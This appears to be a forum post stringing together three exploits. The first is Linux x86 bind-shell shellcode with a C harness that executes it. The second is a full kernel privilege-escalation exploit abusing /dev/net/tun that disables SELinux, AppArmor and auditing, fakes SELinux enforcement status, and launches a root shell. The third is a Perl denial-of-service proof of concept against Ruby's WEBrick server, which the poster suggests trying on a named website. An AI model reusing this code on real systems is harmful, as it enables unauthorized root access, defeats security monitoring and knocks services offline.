char code[] =

   "\x31\xdb" // xor    ebx, ebx
   "\xf7\xe3" // mul    ebx
   "\xb0\x66" // mov     al, 102
   "\x53" // push    ebx
   "\x43" // inc     ebx
   "\x53" // push    ebx
   "\x43" // inc     ebx
   "\x53" // push    ebx
   "\x89\xe1" // mov     ecx, esp
   "\x4b" // dec     ebx
   "\xcd\x80" // int     80h
   "\x89\xc7" // mov     edi, eax
   "\x52" // push    edx
   "\x66\x68\x4e\x20" // push    word 8270
   "\x43" // inc     ebx
   "\x66\x53" // push    bx
   "\x89\xe1" // mov     ecx, esp
   "\xb0\xef" // mov    al, 239
   "\xf6\xd0" // not    al
   "\x50" // push    eax
   "\x51" // push    ecx
   "\x57" // push    edi
   "\x89\xe1" // mov     ecx, esp
   "\xb0\x66" // mov     al, 102
   "\xcd\x80" // int     80h
   "\xb0\x66" // mov     al, 102
   "\x43" // inc    ebx
   "\x43" // inc    ebx
   "\xcd\x80" // int     80h
   "\x50" // push    eax
   "\x50" // push    eax
   "\x57" // push    edi
   "\x89\xe1" // mov    ecx, esp
   "\x43" // inc    ebx
   "\xb0\x66" // mov    al, 102
   "\xcd\x80" // int    80h
   "\x89\xd9" // mov    ecx, ebx
   "\x89\xc3" // mov     ebx, eax
   "\xb0\x3f" // mov     al, 63
   "\x49" // dec     ecx
   "\xcd\x80" // int     80h
   "\x41" // inc     ecx
   "\xe2\xf8" // loop    lp
   "\x51" // push    ecx
   "\x68\x6e\x2f\x73\x68" // push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69" // push    dword 69622f2fh
   "\x89\xe3" // mov     ebx, esp
   "\x51" // push    ecx
   "\x53" // push    ebx
   "\x89\xe1" // mov    ecx, esp
   "\xb0\xf4" // mov    al, 244
   "\xf6\xd0" // not    al
   "\xcd\x80"; // int     80h


main() {
  void (*a)() = (void *)code;
  int i;
  printf("size: %d bytes\n", strlen(code));
  printf("Testing for cntrl characters.. ");
  for(i=0;i<strlen(code);i++)
     if(iscntrl(code[i])) printf("FAILED\n"), exit(255);
  printf("PbumED\n");
  a();
}

Now a really recent one:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/personality.h>

#ifdef RHEL5_SUCKS
#define OFFSET_OF_FLAGS 0x4
#else
#define OFFSET_OF_FLAGS 0x8
#endif

struct sock {
	char gibberish1[0x60];
#ifdef RHEL5_SUCKS
	char gibberish2[0xb0]; // this seems to do the trick ;)
#else
	char gibberish2[0xe0]; // gotta make sure this >> 1 is not >= above
#endif
	unsigned long gibberish3[0x50];
};

static void craft_sock(struct sock *sk, unsigned long target_addr)
{
	int i;
	memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
	memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
	for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
		sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
}

static void or_one_to_kernel_address(unsigned long target_addr)
{
	struct sock *sk = NULL;
	int fd;
	struct pollfd pfd;

	craft_sock(sk, target_addr);

	fd = open("/dev/net/tun", O_RDWR);
	if (fd == -1) {
		fprintf(stdout, "UNABLE TO OPEN /dev/net/tun!\n");
		return;
	}
	pfd.fd = fd;
	pfd.events = POLLIN | POLLOUT;
	poll(&pfd, 1, 0);

	close(fd);

	fprintf(stdout, " [+] *%p |= 1\n", (void *)target_addr);
}

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		fprintf(stdout, "Unable to obtain symbol listing!\n");
		exit(0);
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}

/* fastcalls! */
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef int __attribute__((regparm(3))) (*_nf_unregister_hooks)(unsigned long *ops, int count);
typedef int __attribute__((regparm(3))) (*_unregister_filesystem)(unsigned long arg);

unsigned long *tun_mmap_fop;

unsigned long sel_fs_type;

unsigned long *mmap_min_addr;

int *audit_enabled;

int *ss_initialized;

int *selinux_enforcing;
int *selinux_enabled;
int *selinux_mls_enabled;

int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_bool;
unsigned long security_get_bool_value;
unsigned long sel_read_enforce;

_commit_creds commit_creds;
unsigned long init_cred;

_nf_unregister_hooks nf_unregister_hooks;
unsigned long * selinux_ipv4_ops;
unsigned long * selinux_ipv6_ops;

_unregister_filesystem unregister_filesystem;

int what_we_do;

unsigned int our_uid;

int got_root;

/* for RHEL5 2.6.18 with 4K stacks */
static inline unsigned long get_current(void)
{
	unsigned long current;

	asm volatile (
	" movl %%esp, %%eax;"
	" andl %1, %%eax;"
	" movl (%%eax), %0;"
	: "=r" (current)
	: "i" (0xfffff000)
	);
	return current;
}

static void old_style_gimme_root(void)
{
	unsigned int *current;
	unsigned long orig_current;

	current = (unsigned int *)get_current();
	orig_current = (unsigned long)current;

	while (((unsigned long)current < (orig_current + 0x1000)) &&
		(current[0] != our_uid || current[1] != our_uid ||
		 current[2] != our_uid || current[3] != our_uid))
		current++;

	if ((unsigned long)current >= (orig_current + 0x1000))
		return;

	current[0] = current[1] = current[2] = current[3] = 0; // uids
	current[4] = current[5] = current[6] = current[7] = 0; // gids

	got_root = 1;

	return;
}

static int __attribute__((regparm(3))) own_the_kernel(void *a, void *b)
{
	// clean up after ourselves ;)
	if (tun_mmap_fop)
		*tun_mmap_fop = 0;

	if (audit_enabled)
		*audit_enabled = 0;

	// giggles
	//if (mmap_min_addr)
	//	*mmap_min_addr = 0;

	// disable apparmor
	if (apparmor_enabled && *apparmor_enabled) {
		what_we_do = 1;
			*apparmor_enabled = 0;
		if (apparmor_audit)
			*apparmor_audit = 0;
		if (apparmor_logsyscall)
			*apparmor_logsyscall = 0;
		if (apparmor_complain)
			*apparmor_complain = 0;
	}

	// disable SELinux
	if (selinux_enforcing && *selinux_enforcing) {
		what_we_do = 2;
		*selinux_enforcing = 0;
	}

	if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
		// trash LSM
		if (default_security_ops && security_ops) {
			if (*security_ops != default_security_ops)
				what_we_do = 3;
			*security_ops = default_security_ops;
		}
	}

	/* make the idiots think selinux is enforcing */
	if (sel_read_enforce || (sel_read_bool && security_get_bool_value)) {
		unsigned char *p;
		unsigned long _cr0;

		asm volatile (
		"mov %%cr0, %0"
		: "=r" (_cr0)
		);
		_cr0 &= ~0x10000;
		asm volatile (
		"mov %0, %%cr0"
		:
		: "r" (_cr0)
		);
		if (sel_read_enforce) {
		if (sizeof(unsigned int) != sizeof(unsigned long)) {
			/* 64bit version, look for the mov ecx, [rip+off]
			   and replace with mov ecx, 1
			*/
			for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
				if (p[0] == 0x8b && p[1] == 0x0d) {
					p[0] = '\xb9';
					p[5] = '\x90';
					*(unsigned int *)&p[1] = 1;
					goto and_now;
				}
			}
		} else {
			/* 32bit, replace push [selinux_enforcing] with push 1 */
			for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
				if (p[0] == 0xff && p[1] == 0x35) {
#ifdef RHEL5_SUCKS
					// while we're at it, disable 
					// SELinux without having a 
					// symbol for selinux_enforcing ;)
					sel_enforce_ptr = *(unsigned int **)&p[2];
					*sel_enforce_ptr = 0;
					what_we_do = 2;
#endif
					p[0] = '\x68';
					p[5] = '\x90';
					*(unsigned int *)&p[1] = 1;
					goto and_now;
				}
			}
		}
		}
and_now:
		/*
		if (sel_read_bool && security_get_bool_value) {
		for (p = (unsigned char *)sel_read_bool; (unsigned long)p < (sel_read_bool + 0x300); p++) {
			if (p[0] == 0xe8 && (((unsigned long)&p[5] + *(int *)&p[1]) == security_get_bool_value)) {
				*p = '\xa1';
				*(unsigned int *)(p + 1) = 1;
				goto next_part;
			}
		}
		}
next_part:
		*/
		_cr0 |= 0x10000;
		asm volatile (
		"mov %0, %%cr0"
		:
		: "r" (_cr0)
		);
	}
	/*
	if (nf_unregister_hooks) {
		if (selinux_ipv4_ops && *selinux_ipv4_ops) {
			nf_unregister_hooks(selinux_ipv4_ops, 3);
			*selinux_ipv4_ops = 0;
		}
		if (selinux_ipv6_ops && *selinux_ipv6_ops) {
			nf_unregister_hooks(selinux_ipv6_ops, 2);
			*selinux_ipv6_ops = 0;
		}
	}
	*/
	
	//if (unregister_filesystem && sel_fs_type)
	//	unregister_filesystem(sel_fs_type);

	/* and now give ourselves full privileges */
	if (commit_creds && init_cred) {
		/* hackish usage increment */
		*(volatile int *)(init_cred) += 1;
		commit_creds(init_cred);
		got_root = 1;
	}
#ifdef RHEL5_SUCKS
	 else {
		// must be RHEL5 2.6.18
		old_style_gimme_root();
	}
#endif

	return -1;
}

static void boom_goes_the_dynamite(void)
{
	char *mem;
	int fd;

	fprintf(stdout, " [+] b00m!\n");

	fd = open("/dev/net/tun", O_RDONLY);

	mem = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);

	close(fd);

	return;
}

int pa__init(void *m)
{
	char *mem;
	int fd;
	int ret;

	our_uid = getuid();

	/* open it so we can have it auto-loaded and resolve its symbols
	   below
	*/
	fd = open("/dev/net/tun", O_RDONLY);
	if (fd == -1) {
		fprintf(stdout, "UNABLE TO OPEN THE DEVICE!\n");
		return 1;
	}
	close(fd);

	if ((personality(0xffffffff)) != PER_SVR4) {
		mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (mem != NULL) {
			fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
			return 1;
		}
	} else {
		ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
		if (ret == -1) {
			fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
			return 1;
		}
	}

	fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

	/* make an mmap handler for the tun device at 0x1
	   mmap fop offset is sizeof(ptr) * 11
	*/
	
	tun_mmap_fop = (unsigned long *)(get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11));

	selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
	//selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
	//selinux_mls_enabled = (int *)get_kernel_sym("selinux_mls_enabled");
	//ss_initialized = (int *)get_kernel_sym("ss_initialized");

	apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
	apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
	apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
	apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");

	nf_unregister_hooks = (_nf_unregister_hooks)get_kernel_sym("nf_unregister_hooks");
	//selinux_ipv4_ops = (unsigned long *)get_kernel_sym("selinux_ipv4_ops");
	//selinux_ipv6_ops = (unsigned long *)get_kernel_sym("selinux_ipv6_ops");

	security_ops = (unsigned long *)get_kernel_sym("security_ops");
	default_security_ops = get_kernel_sym("default_security_ops");

	//sel_read_bool = get_kernel_sym("sel_read_bool");
	sel_read_enforce = get_kernel_sym("sel_read_enforce");
	//security_get_bool_value = get_kernel_sym("security_get_bool_value");

	//mmap_min_addr = (unsigned long *)get_kernel_sym("mmap_min_addr");

	audit_enabled = (int *)get_kernel_sym("audit_enabled");

	commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
	init_cred = get_kernel_sym("init_cred");

	//sel_fs_type = get_kernel_sym("sel_fs_type");
	//unregister_filesystem = (_unregister_filesystem)get_kernel_sym("unregister_filesystem");

	or_one_to_kernel_address((unsigned long)tun_mmap_fop);

	/* two cases, fancy trickery */
	if (sizeof(unsigned int) != sizeof(unsigned long)) {
		// 64bit
		*(char *)1 = '\xff';
		*(char *)2 = '\x25';
		*(unsigned int *)3 = 0; // pc-relative and such yes ;)
		*(unsigned long *)(3 + 4) = (unsigned long)&own_the_kernel;
	} else {
		// 32bit
		*(char *)1 = '\xe9';
		*(unsigned long *)2 = (unsigned long)&own_the_kernel - 6;
	}

	boom_goes_the_dynamite();

	{
		char *msg;
		switch (what_we_do) {
			case 1:
				msg = "AppArmor";
				break;
			case 2:
				msg = "SELinux";
				break;
			case 3:
				msg = "LSM";
				break;
			default:
				msg = "nothing, what an insecure machine!";
		}
		fprintf(stdout, " [+] Disabled security of : %s\n", msg);
	}
	if (got_root == 1)
		fprintf(stdout, " [+] Got root!\n");
	else {
		fprintf(stdout, " [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?\n");
		exit(0);
	}
	fprintf(stdout, " [+] BAM! About to launch your rootshell!...but first some chit-chat...\n");
	sleep(3);
	fprintf(stdout, "           ,        ,\n");
	fprintf(stdout, "          /(_,    ,_)\\\n");
	fprintf(stdout, "          \\ _/    \\_ /\n");
	fprintf(stdout, "          //        \\\\\n");
	fprintf(stdout, "          \\\\ (@)(@) //\n");
	fprintf(stdout, "           \\'=\"==\"='/\n");
	fprintf(stdout, "       ,===/        \\===,\n");
	fprintf(stdout, "      \",===\\        /===,\"\n");
	fprintf(stdout, "      \" ,==='------'===, \"\n");
	fprintf(stdout, "       \"                \"\n");
	fprintf(stdout, "Do you know the deadliest catch?\n");
	{
		char buf[20];
		fgets(buf, sizeof(buf)-1, stdin);
	}
	sleep(1);
	fprintf(stdout, "That's right! MAN is the deadliest catch of all!\n");
	sleep(2);
	{
		char wait[] = "WAIIIIIIIIIITTTT....";
		int i;
		for (i = 0; i < sizeof(wait); i++) {
			fprintf(stdout, "%c", wait[i]);
			fflush(stdout);
			usleep(200 * 1000);
		}
	}
	fprintf(stdout, "do you hear it?\n");
	sleep(2);
	fprintf(stdout, "You hear it! You do too! It's not just me!  It's here, it's here I say!!\n");
	sleep(3);
	fprintf(stdout, "I must face this....\n");
	fprintf(stdout, "\x7");
	fflush(stdout);
	sleep(1);
	fprintf(stdout, "\x7");
	fflush(stdout);
	sleep(1);
	fprintf(stdout, "\x7");
	fflush(stdout);
	sleep(1);

	fprintf(stdout, "What's this? Something stirs within the beast's belly! Something unexpected");
	fflush(stdout);
	usleep(500 * 1000);
	fprintf(stdout, ".");
	fflush(stdout);
	usleep(500 * 1000);
	fprintf(stdout, ".");
	fflush(stdout);
	usleep(500 * 1000);
	fprintf(stdout, ".");
	fflush(stdout);
	usleep(500 * 1000);
	fprintf(stdout, ".");
	fflush(stdout);
	usleep(500 * 1000);
	fprintf(stdout, "\n");
	sleep(3);

	execl("/bin/sh", "/bin/sh", "-i", NULL);

	return 0;
}

void pa__done(void *m)
{
	return;
}

int main(void)
{
  pa__init(NULL);
}

This thing might work on Forumwarz:

-------------------------------------------------------
Language : Ruby 

Web Site: www.ruby-lang.org

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and productivity.
It has an elegant syntax that is natural to read and easy to write."

=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go 
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :

#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO  WEBrick 1.3.1
[2008-07-11 22:39:55] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO  WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
        /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'
        /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
        /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
        /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'
        /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'
        script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#

=====
5)Credits
=====

laurent gaffié

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-08-13]

­

robots are invading my house!